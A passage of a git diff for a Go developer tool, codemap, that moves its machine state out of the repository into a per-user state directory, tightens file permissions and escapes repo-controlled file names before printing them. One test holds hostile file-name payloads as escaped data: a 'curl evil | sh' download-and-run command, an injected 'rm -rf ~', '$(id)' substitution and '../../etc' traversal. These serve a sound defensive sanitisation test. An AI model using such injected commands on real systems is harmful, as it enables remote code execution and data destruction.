| 98 +++--- watch/transition.go | 4 - 43 files changed, 993 insertions(+), 454 deletions(-) diff --git a/.claude/skills/config-setup/SKILL.md b/.claude/skills/config-setup/SKILL.md index 8747887c..55e0550b 100644 --- a/.claude/skills/config-setup/SKILL.md +++ b/.claude/skills/config-setup/SKILL.md @@ -9,7 +9,7 @@ description: Set up or tune .codemap/config.json so Codemap focuses on code-rele A score of 100 means a hook found the config missing, empty, malformed, or boilerplate. Fix it first; it takes under a minute and every later Codemap answer depends on it. -1. Run `codemap config show` to see the current state. If it says missing, run `codemap config init` (most commands now do this for you). +1. Run `codemap config show` to see the current state. If it says missing, codemap is running on auto-detected filters kept outside the repo; run `codemap config init` to write a committable `.codemap/config.json`. 2. Write or tune `.codemap/config.json` using the workflow below: keep source extensions in `only`, add `exclude` for real noise, set `depth` if the tree is wide. 3. Rerun `codemap .` and confirm the tree is dominated by source, not assets. 4. Verify one known cross-file dependency still resolves with `codemap --importers `. diff --git a/.claude/skills/handoff/SKILL.md b/.claude/skills/handoff/SKILL.md index 1ecc2074..5a34d2ff 100644 --- a/.claude/skills/handoff/SKILL.md +++ b/.claude/skills/handoff/SKILL.md @@ -40,9 +40,11 @@ The prefix file count and size-based handoff budgets honor the active ## Artifacts written +In the per-user state dir, never in the repo; `codemap doctor` prints its path on the `state dir:` line. + | File | Content | |------|---------| -| `.codemap/handoff.latest.json` | Full artifact (all layers) | -| `.codemap/handoff.prefix.json` | Stable prefix snapshot | -| `.codemap/handoff.delta.json` | Dynamic delta snapshot | -| `.codemap/handoff.metrics.log` | Append-only metrics stream | +| `handoff.latest.json` | Full artifact (all layers) | +| `handoff.prefix.json` | Stable prefix snapshot | +| `handoff.delta.json` | Dynamic delta snapshot | +| `handoff.metrics.log` | Append-only metrics stream | diff --git a/blast_radius.go b/blast_radius.go index a22e359e..7ff13705 100644 --- a/blast_radius.go +++ b/blast_radius.go @@ -443,7 +443,7 @@ func buildBlastRadiusBundle(absRoot, ref string, limits blastRadiusLimits) (blas return blastRadiusBundle{}, &blastRadiusDiffError{ref: ref, err: err} } - cmd.EnsureProjectConfig(absRoot) + cmd.EnsureAutoConfig(absRoot) cfg := config.Load(absRoot) filters := scanner.Filters{Only: cfg.Only, Exclude: cfg.Exclude, MaxFiles: cfg.MaxFiles} gitCache := scanner.NewGitIgnoreCache(absRoot) diff --git a/cmd/agent_edits.go b/cmd/agent_edits.go index b9db8055..f2078a8e 100644 --- a/cmd/agent_edits.go +++ b/cmd/agent_edits.go @@ -9,7 +9,6 @@ import ( "strings" "time" - "codemap/internal/gitexclude" "codemap/internal/projectpath" ) @@ -35,8 +34,8 @@ type agentEdits struct { bySession map[string]map[string]bool // session id -> paths } -// agentEditsPath is /.codemap/agent_edits.jsonl in a set-up project, -// else under the user state cache; "" when runtime storage is unsafe. +// agentEditsPath is agent_edits.jsonl in the project's state dir; "" when +// there is no usable state dir. func agentEditsPath(root string) string { selection, err := projectpath.SelectRuntime(root) if err != nil { @@ -70,9 +69,6 @@ func recordAgentEdit(root, sessionID, path string, now time.Time) error { if logPath == "" { return nil } - if err := gitexclude.MkdirAll(filepath.Dir(logPath), 0o755); err != nil { - return err - } record := agentEditRecord{ Path: normalizeAgentEditPath(root, path), Session: strings.TrimSpace(sessionID), @@ -83,7 +79,7 @@ func recordAgentEdit(root, sessionID, path string, now time.Time) error { return err } compactAgentEdits(logPath, now) - f, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o644) + f, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) if err != nil { return err } @@ -120,7 +116,7 @@ func compactAgentEdits(logPath string, now time.Time) { kept.Write(scanner.Bytes()) kept.WriteByte('\n') } - _ = writeFileAtomic(logPath, kept.Bytes(), 0o644) + _ = writeFileAtomic(logPath, kept.Bytes(), 0o600) } // loadAgentEdits reads records at or after `since`. Missing or malformed logs diff --git a/cmd/config.go b/cmd/config.go index 4c320b7c..201537b4 100644 --- a/cmd/config.go +++ b/cmd/config.go @@ -11,8 +11,8 @@ import ( "strings" "codemap/config" - "codemap/internal/gitexclude" "codemap/internal/projectpath" + "codemap/internal/runtimefile" "codemap/scanner" ) @@ -85,28 +85,33 @@ func detectNoise(files []scanner.FileInfo) []string { return out } -// EnsureProjectConfig writes an auto-detected .codemap/config.json when none -// exists in a set-up git checkout. It never creates .codemap/ itself: a -// project that never ran setup keeps nothing in the repo (#184). -// Write failures (read-only checkout) are silent: the caller still runs. -func EnsureProjectConfig(root string) bool { - if _, err := os.Stat(config.ConfigPath(root)); err == nil { +// EnsureAutoConfig stores an auto-detected config in the project's state dir +// (config.AutoConfigPath) when the git checkout has no .codemap/config.json, +// so a repo that never ran setup still gets `only` filters (a few Go files +// among thousands of data files stay under the large-repo cutoff). It is +// computed once and recomputed only when missing or unreadable: it does not +// follow later changes in the file mix; `codemap config init` is the +// explicit, committable path. It never writes inside the repo, and failures +// are silent. It reports whether it wrote. +func EnsureAutoConfig(root string) bool { + if _, err := os.Stat(config.ConfigPath(root)); !os.IsNotExist(err) { return false } - if _, err := os.Stat(filepath.Join(root, ".git")); err != nil || !projectpath.IsSetUp(root) { + if _, err := os.Stat(filepath.Join(root, ".git")); err != nil { return false } - result, err := initProjectConfig(root) - if err != nil { + path := config.AutoConfigPath(root) + if path == "" { + return false + } + if data, err := runtimefile.Read(path); err == nil && json.Valid(data) { return false } - _, _ = gitexclude.EnsureStateIgnore(filepath.Dir(result.Path)) - // Only a person at a terminal needs the notice; piped consumers that - // merge stderr into a JSON stream must not see it. - if info, err := os.Stderr.Stat(); err == nil && info.Mode()&os.ModeCharDevice != 0 { - fmt.Fprintln(os.Stderr, "codemap: wrote .codemap/config.json (auto-detected); tune with: codemap skill show config-setup") + cfg, err := detectProjectConfig(root, &configInitResult{}) + if err != nil { + return false } - return true + return runtimefile.WriteAtomic(path, encodeConfig(cfg), 0o600) == nil } // nonCodeExtensions are extensions excluded from "config init" auto-detection. @@ -197,11 +202,31 @@ func initProjectConfig(root string) (configInitResult, error) { if primary, ok := sharedConfigPrimary(root); ok { return result, fmt.Errorf("%s is a linked worktree; its config lives in the primary checkout, run `codemap config init` in %s", root, primary) } + cfg, err := detectProjectConfig(root, &result) + if err != nil { + return result, err + } + if err := os.MkdirAll(filepath.Dir(cfgPath), 0755); err != nil { + return result, fmt.Errorf("create .codemap directory: %w", err) + } + if err := os.WriteFile(cfgPath, encodeConfig(cfg), 0644); err != nil { + return result, fmt.Errorf("write config: %w", err) + } + return result, nil +} +func encodeConfig(cfg config.ProjectConfig) []byte { + data, _ := json.MarshalIndent(cfg, "", " ") // a plain struct always encodes + return append(data, '\n') +} + +// detectProjectConfig picks `only` and `exclude` from the files under root +// and fills result's counts; it writes nothing. +func detectProjectConfig(root string, result *configInitResult) (config.ProjectConfig, error) { gitCache := scanner.NewGitIgnoreCache(root) files, err := scanner.ScanFiles(context.Background(), root, gitCache, nil, nil) if err != nil { - return result, fmt.Errorf("scan files: %w", err) + return config.ProjectConfig{}, fmt.Errorf("scan files: %w", err) } extCount := make(map[string]int) @@ -242,20 +267,6 @@ func initProjectConfig(root string) (configInitResult, error) { result.Exclude = detectNoise(files) cfg := config.ProjectConfig{Only: result.TopExts, Exclude: result.Exclude, Mode: "auto"} - if err := os.MkdirAll(filepath.Dir(cfgPath), 0755); err != nil { - return result, fmt.Errorf("create .codemap directory: %w", err) - } - - data, err := json.MarshalIndent(cfg, "", " ") - if err != nil { - return result, fmt.Errorf("encode config: %w", err) - } - data = append(data, '\n') - - if err := os.WriteFile(cfgPath, data, 0644); err != nil { - return result, fmt.Errorf("write config: %w", err) - } - result.TotalFiles = len(files) if len(result.TopExts) > 0 { matchExts := make(map[string]bool, len(result.TopExts)) @@ -269,8 +280,7 @@ func initProjectConfig(root string) (configInitResult, error) { } } } - - return result, nil + return cfg, nil } func configShow(root string) { @@ -279,6 +289,11 @@ func configShow(root string) { switch assessment.State { case config.SetupStateMissing: fmt.Println("No config file found.") + if auto := config.AutoConfigPath(root); auto != "" { + if _, err := os.Stat(auto); err == nil { + fmt.Printf("Using auto-detected filters from %s (not committed; computed once)\n", auto) + } + } if primary, ok := sharedConfigPrimary(root); ok { fmt.Printf("Run 'codemap config init' in the primary checkout %s to create %s\n", primary, cfgPath) return diff --git a/cmd/config_more_test.go b/cmd/config_more_test.go index 61c0bdcc..36be8b2c 100644 --- a/cmd/config_more_test.go +++ b/cmd/config_more_test.go @@ -203,76 +203,75 @@ func TestInitProjectConfigExcludesPresentNoise(t *testing.T) { } } -func TestEnsureProjectConfigWritesOnlyInsideRepos(t *testing.T) { +// TestEnsureAutoConfigStaysOutOfTheRepo: the auto-detected config lives in +// the state dir, is computed once, recomputed when unreadable, loses to an +// in-repo config, and is never written outside a git checkout. +func TestEnsureAutoConfigStaysOutOfTheRepo(t *testing.T) { repo := t.TempDir() if err := os.Mkdir(filepath.Join(repo, ".git"), 0o755); err != nil { t.Fatal(err) } mustWriteConfigFixture(t, filepath.Join(repo, "main.go"), "package main\n") - if EnsureProjectConfig(repo) { - t.Fatal("must not write config in a repo that never ran setup") + if !EnsureAutoConfig(repo) { + t.Fatal("expected an auto config for a repo without config.json") } if _, err := os.Stat(filepath.Join(repo, ".codemap")); !os.IsNotExist(err) { - t.Fatalf(".codemap created in a repo that never ran setup: %v", err) + t.Fatalf(".codemap created by the auto config: %v", err) } - if err := os.Mkdir(filepath.Join(repo, ".codemap"), 0o755); err != nil { + auto := config.AutoConfigPath(repo) + info, err := os.Stat(auto) + if err != nil || info.Mode().Perm() != 0o600 { + t.Fatalf("auto config %s: %v, mode %v; want 0600", auto, err, info) + } + if got := strings.Join(config.Load(repo).Only, ","); got != "go" { + t.Fatalf("Load().Only = %q, want go from the auto config", got) + } + if EnsureAutoConfig(repo) { + t.Fatal("second call must not recompute a readable auto config") + } + if err := os.WriteFile(auto, []byte("{not json"), 0o600); err != nil { t.Fatal(err) } - if !EnsureProjectConfig(repo) { - t.Fatal("expected config to be written in a set-up repo") + if !EnsureAutoConfig(repo) { + t.Fatal("an unreadable auto config must be recomputed") } - if _, err := os.Stat(config.ConfigPath(repo)); err != nil { - t.Fatalf("config not written: %v", err) + + mustWriteConfigFixture(t, config.ConfigPath(repo), `{"only":["md"]}`) + if EnsureAutoConfig(repo) { + t.Fatal("an in-repo config.json must stop the auto config") } - if EnsureProjectConfig(repo) { - t.Fatal("second call must not rewrite an existing config") + if got := strings.Join(config.Load(repo).Only, ","); got != "md" { + t.Fatalf("Load().Only = %q, want the in-repo config to win", got) } plain := t.TempDir() mustWriteConfigFixture(t, filepath.Join(plain, "main.go"), "package main\n") - if EnsureProjectConfig(plain) { - t.Fatal("must not write config outside a repo") - } - if _, err := os.Stat(config.ConfigPath(plain)); !os.IsNotExist(err) { - t.Fatalf("config unexpectedly present in non-repo: %v", err) + if EnsureAutoConfig(plain) { + t.Fatal("must not compute a config outside a repo") } } -// TestEnsureProjectConfigKeepsFreshCloneClean: in a clone whose .codemap/ -// exists but holds no config, the auto-write leaves only committable files -// (.codemap/.gitignore, config.json) visible to git and never touches the -// root .gitignore. -func TestEnsureProjectConfigKeepsFreshCloneClean(t *testing.T) { +// TestEnsureAutoConfigKeepsFreshCloneClean: the auto config leaves a fresh +// clone with nothing new, not even ignored files. +func TestEnsureAutoConfigKeepsFreshCloneClean(t *testing.T) { if _, err := exec.LookPath("git"); err != nil { t.Skip("git not available") } src := makeRepoOnBranch(t, "main") clone := filepath.Join(t.TempDir(), "clone") runGitTestCmd(t, src, "clone", "-q", src, clone) - if err := os.Mkdir(filepath.Join(clone, ".codemap"), 0o755); err != nil { - t.Fatal(err) - } - if !EnsureProjectConfig(clone) { - t.Fatal("expected config to be written in a fresh clone") - } - if _, err := os.Stat(config.ConfigPath(clone)); err != nil { - t.Fatalf("config not written: %v", err) + if !EnsureAutoConfig(clone) { + t.Fatal("expected an auto config in a fresh clone") } - status := exec.Command("git", "status", "--porcelain", "--untracked-files=all") + status := exec.Command("git", "status", "--porcelain", "--ignored", "--untracked-files=all") status.Dir = clone out, err := status.Output() if err != nil { t.Fatal(err) } - if got, want := strings.TrimSpace(string(out)), "?? .codemap/.gitignore\n?? .codemap/config.json"; got != want { - t.Fatalf("git status after auto-init = %q, want %q", got, want) - } - if _, err := os.Stat(filepath.Join(clone, ".gitignore")); !os.IsNotExist(err) { - t.Fatal("auto-init must not create a tracked .gitignore") - } - if !gitIgnoresState(t, clone) { - t.Fatal("git does not ignore .codemap after auto-init") + if got := strings.TrimSpace(string(out)); got != "" { + t.Fatalf("git status after the auto config = %q, want clean", got) } } diff --git a/cmd/doctor.go b/cmd/doctor.go index b0d0ec24..36254b1f 100644 --- a/cmd/doctor.go +++ b/cmd/doctor.go @@ -191,12 +191,18 @@ func RunDoctor(args []string, defaultRoot string) int { return 0 } -// doctorCheckLocalCodemapIgnore verifies machine state under an in-repo -// .codemap/ is ignored. Git's check-ignore reflects the rules that actually -// apply, so it is the authority. A project never set up has no in-repo state. +// doctorCheckLocalCodemapIgnore names the per-user state dir, then verifies +// anything but config and skills under an in-repo .codemap/ is ignored. Git's +// check-ignore reflects the rules that actually apply, so it is the authority. func doctorCheckLocalCodemapIgnore(root string, failures *int) { + if dir := projectpath.ProjectRuntimeDir(root); dir != "" { + fmt.Printf("OK state dir: %s (handoff, hubs, agent edits, daemon state, auto-detected config)\n", dir) + } else { + _, err := projectpath.CheckedRuntimeCodemapDir(root) + fmt.Printf("MISS state dir: %v; codemap runs without saved state\n", err) + *failures++ + } if !projectpath.IsSetUp(root) { - fmt.Printf("OK local Codemap ignore: not set up; machine state lives in %s\n", projectpath.RuntimeCodemapDir(root)) return } // A path no codemap writes: check-ignore reports tracked files as not ignored. @@ -227,9 +233,12 @@ func doctorCheckTrackedCodemapState(root string, failures *int) { if tracked := trackedMachineState(root); len(tracked) > 0 { fmt.Printf("MISS tracked codemap state: %d machine-state file(s) under .codemap/ are committed:\n%s", len(tracked), trackedStateDetail(tracked)) *failures++ - return + } else { + fmt.Println("OK tracked codemap state: no machine-state files under .codemap/ are committed (git ls-files .codemap)") + } + if left := leftoverMachineState(root); len(left) > 0 { + fmt.Printf("NOTE leftover codemap state: %d file(s) under .codemap/ from an older codemap are no longer used and are safe to delete:\n%s", len(left), nameList(left)) } - fmt.Println("OK tracked codemap state: no machine-state files under .codemap/ are committed (git ls-files .codemap)") } func reportCodexRuntimeVersions(cliPath string) bool { diff --git a/cmd/gitignore.go b/cmd/gitignore.go index 55a215f9..4cbc9b94 100644 --- a/cmd/gitignore.go +++ b/cmd/gitignore.go @@ -17,8 +17,9 @@ import ( const ignoreEntry = gitexclude.Entry // reportEnsureIgnored ensures the project's .codemap/ carries its own -// .gitignore (machine state ignored, config.json and skills/ committable) and -// reports the outcome to w (notice, warning, or nothing). +// .gitignore (it hides machine state older versions left there; config.json +// and skills/ stay committable) and reports the outcome to w. Only setup, +// config init and skill init call it. func reportEnsureIgnored(w io.Writer, root string) { dir := projectpath.CodemapDir(root) if _, err := os.Stat(dir); err != nil { @@ -30,31 +31,95 @@ func reportEnsureIgnored(w io.Writer, root string) { return } if wrote { - fmt.Fprintln(w, "Wrote .codemap/.gitignore (machine state ignored; config.json and skills/ can be committed)") + fmt.Fprintln(w, "Wrote .codemap/.gitignore (config.json and skills/ can be committed; anything else there is ignored)") } - reportTrackedState(w, root) + reportLegacyState(w, root) } -// reportTrackedState names machine-state files git already tracks under -// .codemap/ (an ignore rule cannot untrack them) and the command that would. -// It prints only; it never runs git rm. -func reportTrackedState(w io.Writer, root string) { - tracked := trackedMachineState(root) - if len(tracked) == 0 { - return +// reportLegacyState names machine state older versions left under .codemap/: +// files git tracks (an ignore rule cannot untrack them) with the command that +// would, then untracked leftovers, which nothing reads any more. It prints +// only; it never runs git rm or deletes anything. +func reportLegacyState(w io.Writer, root string) { + if tracked := trackedMachineState(root); len(tracked) > 0 { + fmt.Fprintf(w, "%d codemap machine-state file(s) are committed:\n%s", len(tracked), trackedStateDetail(tracked)) + } + if left := leftoverMachineState(root); len(left) > 0 { + fmt.Fprintf(w, "%d codemap machine-state file(s) under .codemap/ are no longer used and are safe to delete:\n%s", len(left), nameList(left)) + } +} + +// leftoverListMax bounds the leftover list; the count above it is exact. +const leftoverListMax = 20 + +// leftoverMachineState lists untracked files under .codemap/ other than +// config.json, .gitignore and skills/: state from before it moved to the +// per-user state dir. Symlinks are listed, never followed. +func leftoverMachineState(root string) []string { + dir := projectpath.CodemapDir(root) + tracked := map[string]bool{} + files, _ := gitexclude.TrackedStateFiles(root) + for _, f := range files { + tracked[f] = true } - fmt.Fprintf(w, "%d codemap machine-state file(s) are committed:\n%s", len(tracked), trackedStateDetail(tracked)) + var left []string + _ = filepath.WalkDir(dir, func(path string, d os.DirEntry, err error) error { + if err != nil || d.IsDir() { + return nil + } + rel, relErr := filepath.Rel(filepath.Dir(dir), path) + if relErr != nil { + return nil + } + rel = filepath.ToSlash(rel) + if !userAuthored(rel) && !tracked[rel] { + left = append(left, rel) + } + return nil + }) + return left +} + +func userAuthored(rel string) bool { + return rel == ".codemap/config.json" || rel == ".codemap/.gitignore" || strings.HasPrefix(rel, ".codemap/skills/") +} + +// nameList prints file names one per line, each byte outside [A-Za-z0-9._/-] +// as \xNN, so a hostile name can neither run when pasted nor fake a line. +func nameList(names []string) string { + var b strings.Builder + b.WriteString(" (file names, not commands)\n") + for i, name := range names { + if i == leftoverListMax { + fmt.Fprintf(&b, " ... %d more\n", len(names)-i) + break + } + b.WriteString(" ") + for j := 0; j < len(name); j++ { + if c := name[j]; isPasteSafe(c) { + b.WriteByte(c) + } else { + fmt.Fprintf(&b, `\x%02x`, c) + } + } + b.WriteByte('\n') + } + return b.String() +} + +func isPasteSafe(c byte) bool { + return c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z' || c >= '0' && c <= '9' || strings.IndexByte("._/-", c) >= 0 } -// trackedStateDetail lists tracked files as quoted data, one per line, then a +// trackedStateDetail lists tracked files as data, one per line, then a // paste-safe untrack command. File names are repo-controlled, so the command // carries only names matching a known state file; anything else is listed // for the user to handle by hand. func trackedStateDetail(tracked []string) string { var b strings.Builder var safe []string + b.WriteString(nameList(tracked)) for _, f := range tracked { - fmt.Fprintf(&b, " %q\n", f) if knownStateFile.MatchString(f) && !strings.Contains(f, "..") { safe = append(safe, f) } @@ -63,7 +128,7 @@ func trackedStateDetail(tracked []string) string { fmt.Fprintf(&b, " untrack with: git rm --cached -- %s\n", strings.Join(safe, " ")) } if len(safe) < len(tracked) { - fmt.Fprintf(&b, " %d unrecognised name(s) above are left out of the command; untrack them by hand if they are codemap state\n", len(tracked)-len(safe)) + fmt.Fprintf(&b, " %d unrecognised name(s) above are left out of the command. Untrack them by hand if they are codemap state\n", len(tracked)-len(safe)) } return b.String() } @@ -81,7 +146,7 @@ func trackedMachineState(root string) []string { } var state []string for _, f := range files { - if f != ".codemap/config.json" && f != ".codemap/.gitignore" && !strings.HasPrefix(f, ".codemap/skills/") { + if !userAuthored(f) { state = append(state, f) } } diff --git a/cmd/hooks.go b/cmd/hooks.go index d1646082..fccff262 100644 --- a/cmd/hooks.go +++ b/cmd/hooks.go @@ -19,7 +19,6 @@ import ( "codemap/config" "codemap/handoff" - "codemap/internal/gitexclude" "codemap/internal/projectpath" "codemap/limits" "codemap/scanner" @@ -208,6 +207,11 @@ func RunHookWithTimeout(hookName, root string, timeout time.Duration) error { if timeout <= 0 || hookName == subagentRefreshHook { return RunHook(hookName, root) } + // Bounded inside, so the background render is launched before we return. + if hookName == "subagent-start" { + runSubagentStart(root, min(timeout, subagentStartTimeout)) + return nil + } if hookName == "session-stop" { ctx, cancel := context.WithTimeout(context.Background(), timeout) @@ -308,11 +312,15 @@ func waitForDaemonState(root string, timeout time.Duration) *watch.State { return nil } +// runSubagentStart never fails a subagent: any error leaves stdout empty. +func runSubagentStart(root string, budget time.Duration) { + _ = emitHookContext("SubagentStart", func() error { return hookSubagentStart(root, budget) }, false) +} + // RunHook executes the named hook with the given project root func RunHook(hookName, root string) error { if hookName == "subagent-start" { - // Never fail a subagent: any error leaves stdout empty and exits 0. - _ = emitHookContext("SubagentStart", func() error { return hookSubagentStart(root) }, false) + runSubagentStart(root, subagentStartTimeout) return nil } if hookName == subagentRefreshHook { @@ -434,6 +442,7 @@ func hookSessionStart(root string) error { // Check for previous session context before starting new daemon lastSessionEvents := getLastSessionEvents(root) + EnsureAutoConfig(root) // before the daemon, which reads it ensureSessionDaemon(root, hookSessionIDFromStdin()) fileCount := 0 @@ -594,9 +603,12 @@ var renderSubagentBlock = func(ctx context.Context, root string) (string, error) // hookSubagentStart orients a subagent, which never gets SessionStart: the // top-level directories with hub marks, then the hub list. The payload's cwd // wins over the process cwd because a worktree-isolated subagent runs elsewhere. +// On a cache miss the background render starts before the foreground one, so +// it survives a hook timeout that ends this process; whichever finishes first +// writes the cache. // ponytail: cached per HEAD, so a new top-level directory shows only after // the next commit; key on a tree listing hash if that ever matters. -func hookSubagentStart(root string) error { +func hookSubagentStart(root string, budget time.Duration) error { if info, err := os.Stdin.Stat(); err == nil && info.Mode()&os.ModeCharDevice == 0 { var payload struct { Cwd string `json:"cwd"` @@ -617,13 +629,13 @@ func hookSubagentStart(root string) error { fmt.Print(block) return nil } - ctx, cancel := context.WithTimeout(context.Background(), subagentStartTimeout) + if key != "" && !subagentRefreshRunning(root) { + startSubagentRefresh(root) + } + ctx, cancel := context.WithTimeout(context.Background(), budget) defer cancel() block, err := renderSubagentBlock(ctx, root) if err != nil { - if ctx.Err() != nil && key != "" { - startSubagentRefresh(root) - } return err } writeSubagentCache(root, key, block) @@ -1231,7 +1243,7 @@ func writeStatuslineState(root string, intent TaskIntent) { if intent.RiskLevel != "low" { status += " " + intent.RiskLevel } - os.WriteFile(filepath.Join(codemapDir, "status"), []byte(status), 0644) + os.WriteFile(filepath.Join(codemapDir, "status"), []byte(status), 0o600) } // emitIntentMarker outputs a structured JSON comment for machine consumption. @@ -1633,9 +1645,6 @@ func hookPreCompact(root string) error { if err != nil { return err } - if err := gitexclude.MkdirAll(codemapDir, 0755); err != nil { - return err - } info := getHubInfoNoFallback(root) if info == nil || len(info.Hubs) == 0 { @@ -1644,7 +1653,7 @@ func hookPreCompact(root string) error { // Write hub state hubsFile := filepath.Join(codemapDir, "hubs.txt") - f, err := os.Create(hubsFile) + f, err := os.OpenFile(hubsFile, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o600) if err != nil { return err } @@ -2103,9 +2112,6 @@ func updateSessionLeaseContext(ctx context.Context, root, sessionID string, acti if err != nil { return err } - if err := gitexclude.MkdirAll(codemapDir, 0o755); err != nil { - return err - } lockPath := filepath.Join(codemapDir, "sessions.lock") if err := acquireSessionLockContext(ctx, lockPath); err != nil { return err @@ -2113,7 +2119,7 @@ func updateSessionLeaseContext(ctx context.Context, root, sessionID string, acti defer os.Remove(lockPath) leaseDir := filepath.Join(codemapDir, "sessions") - if err := os.MkdirAll(leaseDir, 0o755); err != nil { + if err := os.MkdirAll(leaseDir, 0o700); err != nil { return err } entries, err := os.ReadDir(leaseDir) diff --git a/cmd/hooks_more_test.go b/cmd/hooks_more_test.go index 41c7d26d..d5aedd87 100644 --- a/cmd/hooks_more_test.go +++ b/cmd/hooks_more_test.go @@ -1188,7 +1188,7 @@ func TestAutomaticLinkedWorktreeUsesLocalHookState(t *testing.T) { t.Fatal(err) } linked := filepath.Join(t.TempDir(), "linked") - if err := os.MkdirAll(projectpath.ProjectRuntimeDir(linked), 0o755); err != nil { + if err := os.MkdirAll(linked, 0o755); err != nil { t.Fatal(err) } if err := os.WriteFile(filepath.Join(linked, ".git"), []byte("gitdir: "+gitDir+"\n"), 0o644); err != nil { diff --git a/cmd/setup_review_test.go b/cmd/setup_review_test.go index 99ff05b5..507177d7 100644 --- a/cmd/setup_review_test.go +++ b/cmd/setup_review_test.go @@ -1,7 +1,6 @@ package cmd import ( - "fmt" "io" "os" "os/exec" @@ -657,6 +656,16 @@ func TestRunDoctorReportsTrackedCodemapState(t *testing.T) { } runGitTestCmd(t, root, "add", "-f", ".codemap") runGitTestCmd(t, root, "-c", "user.name=Test", "-c", "user.email=test@example.com", "commit", "-q", "-m", "track codemap state") + // ...and untracked leftovers nothing reads any more. + for _, name := range []string{"hubs.txt", "projects/abc/handoff.latest.json"} { + path := filepath.Join(root, ".codemap", filepath.FromSlash(name)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + } var code int out = captureOutput(func() { code = RunDoctor([]string{root}, ".") }) @@ -665,8 +674,11 @@ func TestRunDoctorReportsTrackedCodemapState(t *testing.T) { } for _, want := range []string{ "MISS tracked codemap state: 1 machine-state file(s) under .codemap/ are committed:", - ` ".codemap/state.json"`, + " (file names, not commands)\n .codemap/state.json\n", " untrack with: git rm --cached -- .codemap/state.json\n", + "NOTE leftover codemap state: 2 file(s) under .codemap/ from an older codemap are no longer used and are safe to delete:\n" + + " (file names, not commands)\n .codemap/hubs.txt\n .codemap/projects/abc/handoff.latest.json\n", + "OK state dir: ", } { if !strings.Contains(out, want) { t.Fatalf("expected %q in tracked-state diagnosis, got:\n%s", want, out) @@ -697,11 +709,20 @@ func TestTrackedStateDetailKeepsHostileNamesOutOfTheCommand(t *testing.T) { if command != " untrack with: git rm --cached -- .codemap/hubs.txt" { t.Fatalf("command line = %q\nfull output:\n%s", command, out) } - for _, name := range hostile { - if !strings.Contains(out, fmt.Sprintf("%q", name)) { - t.Fatalf("hostile name %q not listed as quoted data:\n%s", name, out) + for _, escaped := range []string{ + ` .codemap/x\x3b\x20curl\x20evil\x20\x7c\x20sh` + "\n", + ` .codemap/state.json\x0arm\x20-rf\x20\x7e` + "\n", + ` .codemap/\x24\x28id\x29` + "\n", + " .codemap/projects/../../etc\n", + ` .codemap/handoff.a\x20b.json` + "\n", + } { + if !strings.Contains(out, escaped) { + t.Fatalf("hostile name not listed as escaped data %q:\n%s", escaped, out) } } + if strings.ContainsAny(strings.ReplaceAll(out, "(file names, not commands)", ""), "$;|~\"") { + t.Fatalf("a shell metacharacter reached the output:\n%s", out) + } if !strings.Contains(out, "5 unrecognised name(s)") { t.Fatalf("missing left-out note:\n%s", out) } diff --git a/cmd/setup_run_test.go b/cmd/setup_run_test.go index 1cf43d29..c2673115 100644 --- a/cmd/setup_run_test.go +++ b/cmd/setup_run_test.go @@ -236,10 +236,18 @@ func TestRunSetupWritesStateIgnore(t *testing.T) { if err := hookPreCompact(root); err != nil { t.Fatal(err) } - if _, err := os.Stat(filepath.Join(root, ".codemap", "agent_edits.jsonl")); err != nil { - t.Fatalf("post-edit did not record in the set-up repo: %v", err) + if _, err := os.Stat(agentEditsPath(root)); err != nil { + t.Fatalf("post-edit did not record in the state dir: %v", err) } - status := exec.Command("git", "status", "--porcelain", "--untracked-files=all") + entries, _ := os.ReadDir(filepath.Join(root, ".codemap")) + var names []string + for _, e := range entries { + names = append(names, e.Name()) + } + if got := strings.Join(names, ","); got != ".gitignore,config.json" { + t.Fatalf(".codemap/ holds %q, want only .gitignore and config.json", got) + } + status := exec.Command("git", "status", "--porcelain", "--ignored", "--untracked-files=all") status.Dir = root got, err := status.Output() if err != nil { diff --git a/cmd/skill.go b/cmd/skill.go index 12a3ea08..e76aca31 100644 --- a/cmd/skill.go +++ b/cmd/skill.go @@ -112,10 +112,11 @@ func runSkillShow(root, name string) { func runSkillInit(root string) { skillsDir := filepath.Join(projectpath.CodemapDir(root), "skills") - if err := gitexclude.MkdirAll(skillsDir, 0755); err != nil { + if err := os.MkdirAll(skillsDir, 0o755); err != nil { fmt.Fprintf(os.Stderr, "Error creating skills directory: %v\n", err) os.Exit(1) } + _, _ = gitexclude.EnsureStateIgnore(projectpath.CodemapDir(root)) template := `--- name: my-skill diff --git a/cmd/subagent_cache.go b/cmd/subagent_cache.go index 25968fd0..eaf7de68 100644 --- a/cmd/subagent_cache.go +++ b/cmd/subagent_cache.go @@ -9,7 +9,6 @@ import ( "strings" "time" - "codemap/internal/gitexclude" "codemap/internal/projectpath" "codemap/internal/runtimefile" ) @@ -73,10 +72,20 @@ func writeSubagentCache(root, key, block string) { return } data, err := json.Marshal(subagentCache{Key: key, Block: block}) - if err != nil || gitexclude.MkdirAll(dir, 0o755) != nil { + if err != nil { return } - _ = runtimefile.WriteAtomic(filepath.Join(dir, subagentCacheFile), data, 0o644) + _ = runtimefile.WriteAtomic(filepath.Join(dir, subagentCacheFile), data, 0o600) +} + +// subagentRefreshRunning reports a background render holding a fresh lock. +func subagentRefreshRunning(root string) bool { + dir, ok := subagentCacheDir(root) + if !ok { + return true // nowhere to write: do not launch one + } + info, err := os.Stat(filepath.Join(dir, subagentRefreshLock)) + return err == nil && time.Since(info.ModTime()) < subagentRefreshBound } // startSubagentRefresh launches the background render, detached, so the next @@ -104,7 +113,7 @@ func refreshSubagentCache(root string) { } dir, ok := subagentCacheDir(root) key := subagentCacheKey(root) - if !ok || key == "" || gitexclude.MkdirAll(dir, 0o755) != nil { + if !ok || key == "" { return } release, ok := acquireRefreshLock(filepath.Join(dir, subagentRefreshLock)) @@ -126,7 +135,7 @@ func refreshSubagentCache(root string) { // bound belongs to a render that died, so it is taken over. func acquireRefreshLock(lock string) (func(), bool) { for attempt := 0; attempt < 2; attempt++ { - f, err := os.OpenFile(lock, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o644) + f, err := os.OpenFile(lock, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o600) if err == nil { _ = f.Close() return func() { _ = os.Remove(lock) }, true diff --git 